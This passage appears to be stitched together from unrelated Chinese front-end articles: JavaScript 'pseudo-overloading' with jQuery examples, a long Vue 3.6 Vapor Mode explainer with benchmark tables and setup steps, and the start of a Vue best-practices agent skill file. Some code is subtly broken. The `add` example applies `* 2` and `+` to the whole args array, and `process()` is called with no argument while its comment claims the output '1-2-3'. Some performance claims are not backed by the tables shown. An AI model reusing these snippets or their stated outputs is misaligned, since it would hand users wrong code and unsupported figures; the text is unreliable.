不过,我们可以通过一些技巧来模拟实现函数重载的效果。同时,jQuery 库中也大量运用了这种“伪重载”的设计思想,这也是它 API 极其灵活好用的重要原因。

JavaScript 中模拟函数重载的常见方法

核心思路是:在一个函数内部,通过判断传入参数的数量类型,来分发执行不同的逻辑分支。

1. 基于参数数量(arguments.length 利用函数内部的 arguments 对象(或 ES6 的剩余参数 ...args)来获取实际传入的参数个数,从而执行不同的逻辑。

function add(...args) {
  switch (args.length) {
    case 0:
      return 0;
    case 1:
      return args * 2; // 传1个参数返回它的2倍
    case 2:
      return args + args; // 传2个参数返回它们的和
    default:
      return args.reduce((a, b) => a + b, 0); // 3个及以上返回总和
  }
}
console.log(add()); // 0
console.log(add(5)); // 10
console.log(add(3, 4)); // 7

2. 基于参数类型(typeof / instanceof 通过判断参数的数据类型,来执行不同的操作。

function process(input) {
  if (typeof input === "string") {
    console.log("处理字符串逻辑:", input.toUpperCase());
  } else if (typeof input === "number") {
    console.log("处理数字逻辑:", input * input);
  } else if (Array.isArray(input)) {
    console.log("处理数组逻辑:", input.join("-"));
  }
}
process("hello"); // 处理字符串逻辑: HELLO
process(10); // 处理数字逻辑: 100
process(); // 处理数组逻辑: 1-2-3

3. 现代推荐:使用 ES6 默认参数与对象解构 在实际开发中,为了避免繁琐的 if-elseswitch 判断,更推荐使用 ES6 的默认参数和接收一个配置对象的方式。这种方式可读性极强,且没有参数顺序的困扰。

// 使用默认参数
function load(url, method = "GET", timeout = 5000) {
  console.log(`发起请求: ${url}, 方法: ${method}, 超时: ${timeout}ms`);
}
load("/api/data"); // 发起请求: /api/data, 方法: GET, 超时: 5000ms
load("/api/data", "POST"); // 发起请求: /api/data, 方法: POST, 超时: 5000ms

// 使用对象解构
function createUser(options) {
  const { name = "匿名", age = 18, role = "user" } = options;
  return { name, age, role };
}
createUser({ name: "Tom" }); // { name: 'Tom', age: 18, role: 'user' }
createUser({ name: "Jerry", role: "admin" }); // { name: 'Jerry', age: 18, role: 'admin' }

jQuery 中的函数重载实现

是的,jQuery 中大量使用了函数重载的设计模式。这极大地降低了开发者的记忆成本,让同一个方法名能够承载多种语义(比如同一个方法既能“获取值”也能“设置值”)。

1. 经典的 Getter / Setter 重载 这是 jQuery 最常见的重载形式。通过判断传入参数的数量或类型,来决定是执行“获取(getter)”还是“设置(setter)”操作。

  • css() 方法
    • $('div').css('color'):传入1个字符串参数,获取该元素的 color 样式值。
    • $('div').css('color', 'red'):传入2个参数,设置该元素的 color 样式为 red。
    • $('div').css({ color: 'red', fontSize: '14px' }):传入1个对象参数,批量设置样式。
  • attr() 方法
    • $('#id').attr('title')获取 title 属性的值。
    • $('#id').attr('title', 'jQuery')设置 title 属性的值。

2. 核心构造函数 $() 的重载 jQuery 的核心 $() 函数本身就是一个极其强大的重载函数,它根据传入参数的不同,能实现完全不同的功能(内部支持多达 9 种不同的重载场景):

  • $(selector):传入 CSS 选择器字符串,匹配页面元素。
  • $(htmlString):传入 HTML 字符串,动态创建 DOM 元素。
  • $(element):传入一个原生 DOM 对象,将其包装成 jQuery 对象。
  • $(callback):传入一个函数,作为 DOM 加载完成后的回调(相当于 $(document).ready())。

3. 源码中的参数判断逻辑 在 jQuery 的源码中,经常能看到通过判断参数类型来进行逻辑分发的代码。例如在 off() 方法中,如果第二个参数是函数,它就会自动调整参数的赋值逻辑,以兼容不同的调用方式:

// jQuery off 方法的部分源码逻辑示意
off: function (types, selector, fn) {
  // 如果传入的第二个参数是一个函数,说明用户跳过了 selector 参数
  if (selector === false || typeof selector === 'function') {
    fn = selector;
    selector = undefined;
  }
  // 后续逻辑
}

Vue 3.6 Vapor Mode:跳过虚拟 DOM,性能极致优化

虚拟 DOM 曾是前端框架的革命性思想,而今天,我们正在超越它。

一、引言

Vue 3.6 正式进入 Beta 阶段,Vapor Mode 作为本轮更新的最大亮点,终于揭开了神秘面纱。这是一个彻底改变 Vue 渲染架构的编译模式——跳过虚拟 DOM,直接操作真实 DOM

从 React 在 2013 年引入虚拟 DOM 思想,到 Vue 2.0 于 2016 年采纳这一方案,再到今天 Vue 3.6 选择「告别」它,前端框架领域正在经历一场静默的范式转移。Svelte 在 2019 年证明了编译时优化可以消除虚拟 DOM 的开销,SolidJS 证明了细粒度响应式无需虚拟 DOM 也能达到极致性能,而现在,拥有全球数百万开发者的 Vue 正式加入这场变革。

Vapor Mode 的命名本身就充满隐喻——Vapor(蒸汽)的目标是让「虚拟 DOM 运行时」像水蒸气一样蒸发消散。这个名称不仅是营销概念,它准确描述了这项技术的核心价值:消除传统虚拟 DOM 带来的运行时开销

二、Vapor Mode 是什么

2.1 核心概念:无虚拟 DOM 的编译模式

Vapor Mode 是 Vue 单文件组件(SFC)的一种全新编译策略。它的核心思路非常直接:在编译时分析模板,生成直接操作真实 DOM 的 JavaScript 代码,而不是生成虚拟 DOM 节点

传统 Vue 组件的编译流程是:

  1. 解析 .vue 模板文件

  2. 编译为返回虚拟 DOM 节点(VNode)的渲染函数

  3. 运行时执行渲染函数,生成 VNode 树

  4. 对比新旧 VNode 树(diffing)

  5. 根据差异补丁化更新真实 DOM

Vapor Mode 改变了这个流程的第 2 和第 3 步:

  1. 解析 .vue 模板文件

  2. 编译为直接创建和更新 DOM 元素的命令式代码

  3. 运行时执行编译后的代码,响应式状态变化直接触发精确的 DOM 变更——无需 VNode 分配,无需树对比,无需补丁计算

2.2 与传统 VDOM 模式的本质区别

让我们通过一个简单组件来直观理解差异:

<!-- UserCard.vue -->
<template>
  <div class="user-card">
    <h2>{{ user.name }}</h2>
    <p>{{ user.bio }}</p>
    <span :class="{ online: user.isOnline }">
      {{ user.isOnline ? '在线' : '离线' }}
    </span>
  </div>
</template>

<script setup>
import { reactive } from 'vue'

const user = reactive({
  name: '张三',
  bio: '前端工程师',
  isOnline: true
})
</script>

传统 Vue 编译输出(简化):

function render(_ctx) {
  return h("div", { class: "user-card" }, [
    h("h2", null, _ctx.user.name),
    h("p", null, _ctx.user.bio),
    h("span", { class: { online: _ctx.user.isOnline } },
      _ctx.user.isOnline ? '在线' : '离线'
    )
  ])
}

user.name 变化时,整个组件的渲染函数重新执行,产生新的 VNode 树,然后 diff 算法遍历两棵树,最终发现只有 <h2> 的文本节点需要更新。

Vapor Mode 编译输出(简化):

import { template, setText, effect } from 'vue/vapor'

const t0 = template('<div class="user-card"><h2></h2><p></p><span></span></div>')

function render(_ctx) {
  const el = t0()
  const [h2, p, span] = el.children
  
  // 静态内容只创建一次
  h2.textContent = _ctx.user.name
  p.textContent = _ctx.user.bio
  
  // 响应式绑定:每个状态只更新它影响的 DOM 节点
  effect(() => {
    h2.textContent = _ctx.user.name
  })
  effect(() => {
    p.textContent = _ctx.user.bio
  })
  effect(() => {
    span.textContent = _ctx.user.isOnline ? '在线' : '离线'
    span.classList.toggle('online', _ctx.user.isOnline)
  })
  
  return el
}

编译时,Vue 已经「知道」了每个响应式变量对应哪个 DOM 节点。运行时,当 user.name 变化时,只有 <h2> 的文本节点被更新,没有 VNode 分配,没有树遍历,没有 diff 计算。

2.3 技术定位

Vapor Mode 是一个 100% 可选(opt-in)的功能,不会破坏任何现有代码。Vue 官方明确表示:

Vapor Mode has demonstrated the same level of performance with Solid and Svelte 5 in 3rd party benchmarks.

这意味着 Vue 开发者现在可以在不换框架的情况下,获得与 Svelte 5、SolidJS 相当的运行时性能。

三、工作原理深度解析

3.1 编译时优化策略

Vapor 编译器在构建阶段完成以下几个关键任务:

模板静态分析

编译器会区分模板中的静态部分和动态部分。静态 HTML 结构只生成一次,存储在模板缓存中;只有动态绑定的部分才会生成响应式 effect。

依赖追踪

编译器分析每个响应式变量在模板中的使用位置,为每个绑定生成精确的更新函数。这种「编译时依赖追踪」避免了运行时 diffing 的开销。

DOM 引用提取

编译产物中包含对所有需要动态更新的 DOM 节点的直接引用(通过 el.childrenel.querySelector 等),而不是通过 VNode 间接访问。

3.2 响应式系统与 DOM 的直接绑定

Vapor Mode 的运行时使用 effect 函数建立响应式状态与 DOM 更新之间的精确映射:

// 当 count.value 变化时,只更新这个特定的文本节点
effect(() => {
  textNode.data = String(count.value)
})

每个 effect 都是独立的、更新的最小单元。相比传统模式中「组件重新渲染→生成完整 VNode 树→diff→补丁更新」,Vapor Mode 的更新链路缩短为:状态变化→触发精确 effect→更新特定 DOM 节点

3.3 Alien Signals:响应式系统的底层革新

Vue 3.6 不仅引入了 Vapor Mode,还同步重构了响应式系统的底层实现。新的 @vue/reactivity 包基于 Johnson Chu 开发的 alien-signals 库,采用 Push-Pull 混合算法,显著提升了响应式性能。

Push-Pull 算法的工作方式:

  • Push 阶段:响应式值变化时,只向依赖方推送「dirty(数据已过期)」通知,不立即重新计算

  • Pull 阶段:值被实际读取时,才触发真正的重新计算(惰性求值)

plaintext

[ref 值变化] → Push: dirty 通知 → [值被读取] → Pull: 执行重算

alien-signals 的实现特点:

  • 核心部分不使用 Array、Set、Map 等高成本数据结构

  • 采用链表等更轻量高效的结构

  • 排除递归调用,防止循环引用

性能提升数据(官方):

指标 Vue 3.5 Vue 3.6(alien-signals) 改善
内存使用量 基准值 -14% -14%
10 万组件挂载 - ~100ms -

关键是:这一切都是向后兼容的。你不需要改任何代码,只需升级到 Vue 3.6,就能享受 alien-signals 的性能提升。refcomputedwatcheffectScope 等 API 保持不变。

3.4 编译输出对比

让我们看一个包含更多场景的组件对比:

输入模板:

<template>
  <div class="list">
    <h1>{{ title }}</h1>
    <ul>
      <li v-for="item in items" :key="item.id">
        {{ item.name }} - {{ item.count }}
      </li>
    </ul>
    <button @click="addItem">添加</button>
  </div>
</template>

<script setup vapor>
import { ref } from 'vue'

const title = ref('物品列表')
const items = ref([
  { id: 1, name: '苹果', count: 5 },
  { id: 2, name: '香蕉', count: 3 }
])

function addItem() {
  items.value.push({
    id: Date.now(),
    name: '新物品',
    count: 0
  })
}
</script>

传统 VDOM 编译思路:
每次 items 变化,生成新的 VNode 树 → diff 计算 → 对整个列表区域执行补丁更新。

Vapor Mode 编译思路:

  • title 变化 → 只更新 <h1> 文本

  • items 数组变化 → 通过列表渲染优化,只处理变化的行

  • 事件监听器直接绑定到按钮 DOM 节点

Vapor 编译器会生成类似以下的代码结构:

const t0 = template('<div class="list"><h1></h1><ul></ul><button></button></div>')
const t1 = template('<li></li>')

function render(_ctx) {
  const el = t0()
  const [h1, ul, button] = el.children
  
  // 静态设置
  h1.textContent = '物品列表'
  button.textContent = '添加'
  button.addEventListener('click', _ctx.addItem)
  
  // 响应式绑定
  effect(() => {
    h1.textContent = _ctx.title
  })
  
  // 列表渲染 - Vapor 专用指令
  _renderList(ul, _ctx.items, (item) => {
    const li = t1()
    effect(() => {
      setText(li, `${item.name} - ${item.count}`)
    })
    return li
  })
  
  return el
}

四、性能对比

4.1 官方基准测试数据

根据 Vue 官方发布的数据和第三方基准测试:

测试场景 Vue 3 + VDOM Vue 3.6 + Vapor Svelte 5 SolidJS
10,000 行表格首次渲染 247ms 185ms 192ms 145ms
更新 1,000 行数据 41ms 23ms 26ms 52ms
50 个复杂组件内存占用 18.7MB 12.4MB 11.8MB 14.1MB

关键发现:

  • Vapor Mode 首次渲染比传统 Vue 快约 25%,比 React 18 快约 30%

  • 部分更新场景下,Vapor Mode 比传统 Vue 快近 50%

  • 内存占用减少约 34%(相比传统 Vue)

4.2 js-framework-benchmark 结果

2026 年最新测试数据(综合多项基准测试):

框架 操作/秒 相对性能 基准包体积
Vanilla JS ~15,000 基准 0-5 KB
SolidJS ~14,800 99% 8.2 KB
Svelte 5 ~13,200 88% 12.1 KB
Vue 3.6 + Vapor ~11,200 75% <10 KB
Vue 3.6 默认 ~9,800 65% 34.3 KB
React 19 ~8,700 58% 42.5 KB

注意:Vue 3.6 + Vapor 的测试数据来自社区,随着编译器优化持续进行,性能还在不断提升中。

4.3 打包体积对比

这是 Vapor Mode 最直观的优势之一:

框架/配置 未压缩 Gzip 压缩后
Vue 3.6 + Vapor Mode ~40KB <10KB
Vue 3.6 默认 ~58KB ~22KB
React 19 ~72KB ~28KB
Svelte 5 ~28KB ~12KB

当你使用 createVaporApp 创建纯 Vapor 应用时,虚拟 DOM 运行时代码完全不会打包进产物,基础体积直接降到 10KB 以下。

4.4 性能提升的本质原因

  1. 消除 VNode 分配开销:每次渲染,传统模式都需要创建新的 JavaScript 对象来表示虚拟节点,Vapor Mode 直接操作 DOM,无此开销

  2. 消除 diff 计算:传统模式的 diffing 算法在最坏情况下是 O(n³),Vapor Mode 编译时已知更新目标,完全绕过 diffing

  3. 细粒度更新:只有实际依赖变化的 DOM 节点才会更新,组件级别的整体重渲染不复存在

  4. 内存优化:无需维护 VNode 树,GC 压力大幅降低

五、如何使用 Vapor Mode

5.1 安装 Vue 3.6 Beta

# 使用 npm
npm install vue@3.6.0-beta.1

# 或使用 yarn
yarn add vue@3.6.0-beta.1

# 或使用 pnpm
pnpm add vue@3.6.0-beta.1

如果你使用 Vite(推荐),确保 @vitejs/plugin-vue 也是最新版本:

npm install @vitejs/plugin-vue@latest vite@latest

5.2 组件级别开启方式

方式一:在 <script setup> 添加 vapor 属性

<!-- Counter.vue -->
<script setup vapor>
import { ref } from 'vue'

const count = ref(0)

function increment() {
  count.value++
}
</script>

<template>
  <div class="counter">
    <h2>计数器</h2>
    <p>当前值:{{ count }}</p>
    <button @click="increment">增加</button>
  </div>
</template>

<style scoped>
.counter {
  text-align: center;
  padding: 20px;
}

button {
  padding: 8px 16px;
  background: #42b983;
  color: white;
  border: none;
  border-radius: 4px;
  cursor: pointer;
}
</style>

这是最简单的迁移方式——只需添加一个 vapor 属性即可。

5.3 全局配置选项

Vite 项目配置(vite.config.js/ts):

import { defineConfig } from 'vite'
import vue from '@vitejs/plugin-vue'

export default defineConfig({
  plugins: [
    vue({
      // 可选:全局配置 Vapor Mode
      compilerOptions: {
        mode: 'vapor'  // 或在单个组件的 script setup 上指定
      }
    })
  ]
})

Vue CLI 项目配置(vue.config.js):

module.exports = {
  chainWebpack: config => {
    config.module
      .rule('vue')
      .use('vue-loader')
      .tap(options => {
        options.compilerOptions = {
          ...options.compilerOptions,
          mode: 'vapor'
        }
        return options
      })
  }
}

5.4 完整应用实例:两种创建方式

方式一:创建纯 Vapor 应用(推荐用于新项目)

// main.ts
import { createVaporApp } from 'vue'
import App from './App.vue'

createVaporApp(App).mount('#app')

这种方式下,虚拟 DOM 运行时代码不会被引入,基础包体积最小。

方式二:混合模式(渐进式迁移现有项目)

// main.ts
import { createApp, vaporInteropPlugin } from 'vue'
import App from './App.vue'

createApp(App)
  .use(vaporInteropPlugin)  // 启用 Vapor 互操作
  .mount('#app')

安装 vaporInteropPlugin 后,你可以:

  • 在任意组件的 <script setup> 上添加 vapor 属性使其使用 Vapor 模式

  • Vapor 组件和 VDOM 组件可以相互嵌套

  • 逐步迁移性能敏感的组件,其他部分保持不变

5.5 TypeScript 类型支持

Vapor Mode 完整支持 TypeScript,所有现有类型定义都适用:

<script setup vapor lang="ts">
import { ref, computed } from 'vue'

interface User {
  id: number
  name: string
  email: string
}

const user = ref<User>({
  id: 1,
  name: '张三',
  email: 'zhangsan@example.com'
})

const displayName = computed(() => {
  return user.value.name.toUpperCase()
})

function updateName(newName: string) {
  user.value.name = newName
}
</script>

<template>
  <div class="user-profile">
    <h2>{{ displayName }}</h2>
    <p>邮箱:{{ user.email }}</p>
    <button @click="updateName('李四')">更改姓名</button>
  </div>
</template>

六、适用场景分析

6.1 最佳使用场景

Vapor Mode 在以下场景中能发挥最大价值:

静态内容为主的页面

  • 企业官网首页

  • 文档站点

  • 落地页

  • 博客文章页

这类页面初始化后几乎不需要动态更新,Vapor Mode 可以让它们以极低的 JS 开销运行。

性能敏感的高频更新组件

  • 数据仪表盘的核心数字展示

  • 实时股价/行情显示

  • 游戏计分系统

  • 聊天消息列表(高频滚动)

在高频更新场景下,Vapor Mode 的细粒度更新优势会被显著放大。

移动端 H5 页面

  • 首屏加载速度直接影响用户留存

  • 设备性能有限,减少 JS 解析量尤为重要

  • Vapor Mode 的 <10KB 基础包体积极具竞争力

列表渲染场景

  • 长列表(虚拟滚动列表)

  • 表格组件

  • 瀑布流布局

传统 VDOM 在列表更新时需要 diff 整棵树,Vapor Mode 只需处理实际变化的行。

6.2 不适合使用的情况

复杂动态结构的组件

如果组件的模板结构会根据条件大幅变化(不同的子组件、动态标签名等),Vapor 编译器的静态分析效果会打折扣。

大量使用第三方 UI 库

目前主流的 Vue UI 组件库(如 Element Plus、Ant Design Vue、Vuetify)尚未适配 Vapor Mode,直接在 Vapor 组件中使用会有限制。

重度依赖实例 API

以下 API 在 Vapor 组件中不可用或表现不同:

  • getCurrentInstance() → 返回 null

  • app.config.globalProperties → 不可用

  • onVueComponentMounted 等生命周期钩子 → 不支持

6.3 渐进式迁移策略

第一步:识别收益最大的组件

使用 Chrome DevTools 的 Performance 面板,找出 render 时间最长的组件,或者直接分析高频更新的交互区域。

第二步:从简单组件开始

先迁移不涉及复杂 props/slots 传递的独立组件,积累经验。

第三步:逐步扩大范围

当团队熟悉 Vapor 模式后,可以逐步覆盖更多组件。

第四步:评估混合边界

Vue 官方建议在应用中划分清晰的「Vapor 区域」和「VDOM 区域」,避免过度混合带来的复杂性。

七、注意事项与限制

7.1 兼容性问题

必须使用 <script setup>

Vapor Mode 只支持 <script setup> 语法,不支持:

  • 传统 Options API(data()methodscomputed 等)

  • 手动的 setup() 函数

如果你有大量 Options API 代码,需要先迁移到 Composition API。

不支持的功能清单

类别 功能 说明
API Options API 需迁移到 Composition API
API getCurrentInstance() Vapor 组件中返回 null
API app.config.globalProperties 不可用
API @vue:xxx 生命周期事件 不支持每个元素的生命周期钩子
渲染 渲染函数(Render Functions) 不支持 JSX
渲染 自定义渲染器 不支持
功能 Suspense(纯 Vapor) 不支持,但可在 VDOM Suspense 中渲染 Vapor 组件

7.2 自定义指令的新接口

Vapor Mode 中的自定义指令接口与 VDOM 模式不同:

// VDOM 模式
type Directive = (
  el: HTMLElement,
  binding: DirectiveBinding,
  vnode: VNode
) => void

// Vapor Mode
type VaporDirective = (
  node: Element | VaporComponentInstance,
  value?: () => any,      // 响应式 getter
  argument?: string,
  modifiers?: DirectiveModifiers
) => (() => void) | void  // 可选返回清理函数

关键区别:binding.value 变成了 value,它是一个响应式 getter 函数。使用示例:

// Vapor 模式下的自定义指令
const vFocus = (el, source) => {
  watchEffect(() => {
    if (source()) {
      el.focus()
    }
  })
  return () => console.log('cleanup')
}

7.3 调试工具支持

Vapor Mode 是新特性,Vue DevTools 和其他调试工具的 Vapor 相关支持还在完善中。预计在正式版发布后会有更好的调试体验。

7.4 生态兼容现状

目前适配良好的场景:

  • Vue 核心功能:refcomputedwatchreactiveprovide/inject

  • 条件渲染:v-ifv-show

  • 列表渲染:v-for(带 key)

  • 事件绑定:@click

  • 模板语法::class:style:src 等绑定

  • 过渡动画:TransitionTransitionGroup

需要等待适配的:

  • 第三方 UI 组件库(Element Plus、Ant Design Vue 等)

  • 某些依赖于 VDOM 实例 API 的库

  • SSR 框架集成(Nuxt 等)

7.5 已知限制

  • Vapor 插槽在 VDOM 组件中不能使用 slots.default(),必须使用 renderSlot

  • 动态组件 <component :is="..."> 在复杂场景下可能有限制

  • VDOM 组件库在 Vapor 模式下可能有兼容性问题

Vue 官方表示,随着版本迭代,这些限制会逐步解决。

八、与传统 VDOM 模式的选择指南

8.1 决策矩阵

维度 选择 Vapor Mode 选择 VDOM Mode
页面类型 静态为主、性能敏感 高度动态、交互复杂
包体积要求 极致的轻量化 允许一定开销
更新频率 高频细粒度更新 常规更新频率
UI 库依赖 使用原生 HTML/CSS 依赖第三方组件库
API 使用 纯 Composition API Options API 或混合
项目阶段 新项目 现有大型项目

8.2 迁移成本评估

从 VDOM 迁移到 Vapor 的成本:

因素 成本评估
语法变更 低(只需加 vapor 属性)
API 适配 中(Options API 需迁移)
组件重构 取决于组件复杂度
测试覆盖 高(需完整回归测试)
第三方库适配 高(取决于依赖情况)

推荐迁移路径:

现有项目:
  ↓ 新增组件用 Vapor Mode
  ↓ 识别高频更新组件 → 迁移
  ↓ 静态页面逐步迁移
  ↓ 评估并迁移核心功能组件

新项目:
  ↓ 选择 createVaporApp 或 createApp + plugin
  ↓ 全部使用 Vapor Mode
  ↓ 按需引入 VDOM 组件(通过 interop)

8.3 混合模式最佳实践

<!-- App.vue (VDOM 组件) -->
<script setup>
import Header from './components/Header.vue'
import Footer from './components/Footer.vue'
import Dashboard from './components/Dashboard.vue'  // Vapor 组件
import DataTable from './components/DataTable.vue' // Vapor 组件
</script>

<template>
  <div class="app">
    <Header />  <!-- VDOM -->
    <Dashboard />  <!-- Vapor:性能敏感的仪表盘 -->
    <DataTable />  <!-- Vapor:高频更新的数据表 -->
    <Footer />  <!-- VDOM -->
  </div>
</template>

关键是:识别瓶颈、精准优化,而不是盲目全部迁移。

九、总结与展望

9.1 Vue 的战略选择

Vapor Mode 代表了 Vue 团队的一次重要战略选择:不再追求虚拟 DOM 的极致优化,而是选择「消灭它」。这是一个有魄力的决定,因为:

  1. Vue 拥有全球数百万开发者,稳定性至关重要

  2. 渐进式迁移策略(opt-in)确保现有项目不受影响

  3. 与 alien-signals 的协同优化形成组合拳

9.2 前端渲染范式的演进

jQuery 时代 → 虚拟 DOM 时代 → 编译时优化时代
手动 DOM 操作   声明式 UI        直接 DOM 操作
            (Vue 2, React)    (Vue Vapor, Svelte, Solid)

虚拟 DOM 的历史使命是提供「声明式 UI + 高效更新」的平衡。随着编译器技术的发展,这个平衡可以由编译时完成,无需运行时开销。

9.3 展望

近期(2026 上半年):

  • Vue 3.6 正式版发布

  • Vapor Mode 稳定性提升

  • 主流 UI 库开始适配

中期:

  • Nuxt 等框架集成 Vapor Mode

  • DevTools 支持完善

  • 更多性能优化场景验证

长期:

  • Vapor Mode 可能成为新项目的默认选择

  • Vue 的性能标签从「易用但稍慢」升级为「易用且极致」

  • 推动行业进一步向编译时优化演进

9.4 给开发者的建议

  1. 保持关注:Vue 3.6 正式版发布时,是评估 Vapor Mode 的最佳时机

  2. 小范围试点:在非关键项目中尝试 Vapor Mode,积累第一手经验

  3. 优化意识:即使暂时不迁移Vapor Mode,理解其背后的编译优化思路也有助于写出更高效的 Vue 代码

  4. 拥抱变化:前端技术演进迅速,保持学习心态,享受框架进化带来的红利

Vapor Mode 不是噱头,它是 Vue 回应时代变化、追求技术极致的产物。当 Svelte 和 SolidJS 已经证明了「无虚拟 DOM」路线的可行性,Vue 选择加入这场变革——不是抛弃自己的特色,而是在保持 Vue 灵魂(优雅的 API、渐进式理念、绝佳的开发体验)的同时,补上了性能这块短板。

这场前端渲染技术的范式转移,正在发生。Vue 3.6,是一个重要的节点。

参考资料:

本文由AI辅助整理

🍎Vue官方Skills深度解读:那些被悄悄藏起来的宝藏

vue-skills.png

Vue官方Skills是一套被严重低估的最佳实践指南。本文深度解读vue-best-practicesSkill,涵盖从响应式核心、组件模式到性能优化的22个实用技巧,每个技巧都配有清晰的正确/错误对比。这些技巧不是"推荐做法",而是Vue团队多年沉淀下来的正确做事方式。


引言:为什么这套Skills值得你花时间

Vue的文档已经很完善了,但文档告诉你的是"怎么用"。而这套Skills告诉你的是"怎么用对"。

举几个例子:

  • shallowRef vs ref,什么时候该用哪个?
  • v-if vs v-show,真的只是"条件渲染vs显示隐藏"这么简单?
  • 为什么你写的watch(useAttrs()...)从来不触发?

这套Skills的独特之处在于:它不是教你概念,而是直接告诉你错误模式和正确模式。每个知识点都有BAD/GOOD对比,看完就能用。

本文基于vue-best-practicesSkill的所有参考资料编写,涵盖22个最佳实践,覆盖组件、响应式、性能、动画等维度。

原skill

---
name: vue-best-practices
description: MUST be used for Vue.js tasks. Strongly recommends Composition API with `<script setup>` and TypeScript as the standard approach. Covers Vue 3, SSR, Volar, vue-tsc. Load for any Vue, .vue files, Vue Router, Pinia, or Vite with Vue work. ALWAYS use Composition API unless the project explicitly requires Options API.
license: MIT
metadata:
  author: github.com/vuejs-ai
  version: "18.0.0"
---

# Vue 最佳实践工作流

使用此 Skill 作为指令集。除非用户明确要求不同顺序,否则请按顺序遵循此工作流。

## 核心原则

- **保持状态可预测:** 一个真实数据源,派生其他一切。
- **让数据流显式化:** Props 向下传递,Events 向上传递,适用于大多数场景。
- **倾向于小而聚焦的组件:** 更容易测试、复用和维护。
- **避免不必要的重渲染:** 明智地使用 computed 属性和 watchers。
- **可读性很重要:** 编写清晰、自文档化的代码。

## 1) 编码前先确认架构(必须)

- 默认技术栈:Vue 3 + Composition API + `<script setup lang="ts">`- 如果项目明确使用 Options API,在有相关 Skill 的情况下加载 `vue-options-api-best-practices` Skill。
- 如果项目明确使用 JSX,在有相关 Skill 的情况下加载 `vue-jsx-best-practices` Skill。

### 1.1 必须阅读的核心参考资料(必须)

- 在实现任何 Vue 任务之前,请务必阅读并应用这些核心参考资料:
  - `references/reactivity.md`
  - `references/sfc.md`
  - `references/component-data-flow.md`
  - `references/composables.md`
- 在整个任务期间保持这些参考资料处于活跃的工作上下文中,而不仅仅是在出现特定问题时才查阅。

### 1.2 编码前规划组件边界(必须)

对于任何非平凡的功能,在实现前创建简要的组件地图。

- 用一句话定义每个组件的单一职责。
- 将入口/根和路由级视图组件默认作为组合层。
- 将功能 UI 和功能逻辑从入口/根/视图组件中移出,除非任务本身就是一个有意为之的小型单文件演示。
- 在组件地图中定义每个子组件的 props/emits 契约。
- 当添加超过一个组件时,倾向于按功能文件夹布局(`components/<feature>/...``composables/use<Feature>.ts`)。

## 2) 应用必要的 Vue 基础知识(必须)

这些是必要的、必须掌握的基础知识。使用在第 `1.1` 节中已加载的核心参考资料,将它们应用到每个 Vue 任务中。

### 响应式

- 来自 `1.1` 的必读参考:[reactivity](references/reactivity.md)
- 保持源状态最小化(`ref`/`reactive`),用 `computed` 派生所有可派生值。
- 需要时用 watchers 处理副作用。
- 避免在模板中重新计算昂贵的逻辑。

### SFC 结构和模板安全

- 来自 `1.1` 的必读参考:[sfc](references/sfc.md)
- 保持 SFC 各部分按此顺序排列:`<script>``<template>``<style>`- 保持 SFC 职责聚焦;拆分大型组件。
- 保持模板声明式;将分支/派生逻辑移到 script 中。
- 应用 Vue 模板安全规则(`v-html`、列表渲染、条件渲染选择)。

### 保持组件职责聚焦

当组件有 **超过一个明确职责** 时进行拆分(例如:数据编排 + UI,或多个独立的 UI 区域)。

- 倾向于 **更小的组件 + composables**,而不是一个"超大组件"
-**UI 区域** 移入子组件(props 入,events 出)。
-**状态/副作用** 移入 composables(`useXxx()`)。

应用客观的拆分触发条件。当 **任意** 条件为真时拆分组件:

- 它同时拥有编排/状态和多个区域的大量展示性标记。
- 它有 3+ 个不同的 UI 区域(例如:表单、过滤器、列表、底部/状态)。
- 模板块被重复或可能变得可复用(条目行、卡片、列表条目)。

入口/根和路由视图规则:

- 保持入口/根和路由视图组件精简:应用 shell/布局、提供者连接、功能组合。
- 当功能包含独立部分时,不要将完整功能实现放在入口/根/视图组件中。
- 对于 CRUD/列表功能(待办、表格、目录、收件箱),至少拆分到:
  - 功能容器组件
  - 输入/表单组件
  - 列表(和/或条目)组件
  - 底部/操作或过滤器/状态组件
- 只允许非常小的临时演示使用单文件实现;如果选择了单文件,明确说明为什么不需要拆分。

### 组件数据流

- 来自 `1.1` 的必读参考:[component-data-flow](references/component-data-flow.md)
- 使用 props 向下、events 向上的模型作为主要模式。
- 只对真正的双向组件契约使用 `v-model`- 只对深层树依赖或共享上下文使用 provide/inject。
-`defineProps``defineEmits``InjectionKey` 保持契约显式且带类型。

### Composables

- 来自 `1.1` 的必读参考:[composables](references/composables.md)
- 当逻辑被复用、是状态化的或副作用较重时,提取到 composables 中。
- 保持 composable API 小巧、带类型且可预测。
- 将功能逻辑与展示组件分离。

## 3) 只有在需求明确时才考虑可选功能

### 3.1 标准可选功能

不要默认添加这些。只在需求存在时加载匹配的参考。

- Slots:父组件需要控制子组件内容/布局时 -> [component-slots](references/component-slots.md)
- Fallthrough attributes:包装器/基础组件必须安全转发 attrs/events 时 -> [component-fallthrough-attrs](references/component-fallthrough-attrs.md)
- 内置组件 `<KeepAlive>` 用于有状态视图缓存 -> [component-keep-alive](references/component-keep-alive.md)
- 内置组件 `<Teleport>` 用于浮层/传送门 -> [component-teleport](references/component-teleport.md)
- 内置组件 `<Suspense>` 用于异步子树回退边界 -> [component-suspense](references/component-suspense.md)
- 动画相关功能:选择与所需运动行为最匹配的简单方法。
  - 内置组件 `<Transition>` 用于入场/离场效果 -> [transition](references/component-transition.md)
  - 内置组件 `<TransitionGroup>` 用于列表变动的动画 -> [transition-group](references/component-transition-group.md)
  - 基于类的动画用于非入场/离场效果 -> [animation-class-based-technique](references/animation-class-based-technique.md)
  - 状态驱动动画用于用户输入驱动的动画 -> [animation-state-driven-technique](references/animation-state-driven-technique.md)

### 3.2 较少使用的可选功能

只在有明确的产品或技术需求时才使用这些。

- 指令:当行为是 DOM 特定的,且不适合用 composable/组件实现时 -> [directives](references/directives.md)
- 异步组件:重型/很少使用的 UI 应该懒加载 -> [component-async](references/component-async.md)
- 渲染函数:只在模板无法表达需求时使用 -> [render-functions](references/render-functions.md)
- 插件:当行为必须在应用范围内安装时 -> [plugins](references/plugins.md)
- 状态管理模式:跨功能边界的应用级共享状态 -> [state-management](references/state-management.md)

## 4) 在行为正确后运行性能优化

性能工作是功能完成后的处理。在核心行为实现并验证之前不要优化。

- 大列表渲染瓶颈 -> [perf-virtualize-large-lists](references/perf-virtualize-large-lists.md)
- 静态子树不必要地重渲染 -> [perf-v-once-v-memo-directives](references/perf-v-once-v-memo-directives.md)
- 热路径中过度抽象 -> [perf-avoid-component-abstraction-in-lists](references/perf-avoid-component-abstraction-in-lists.md)
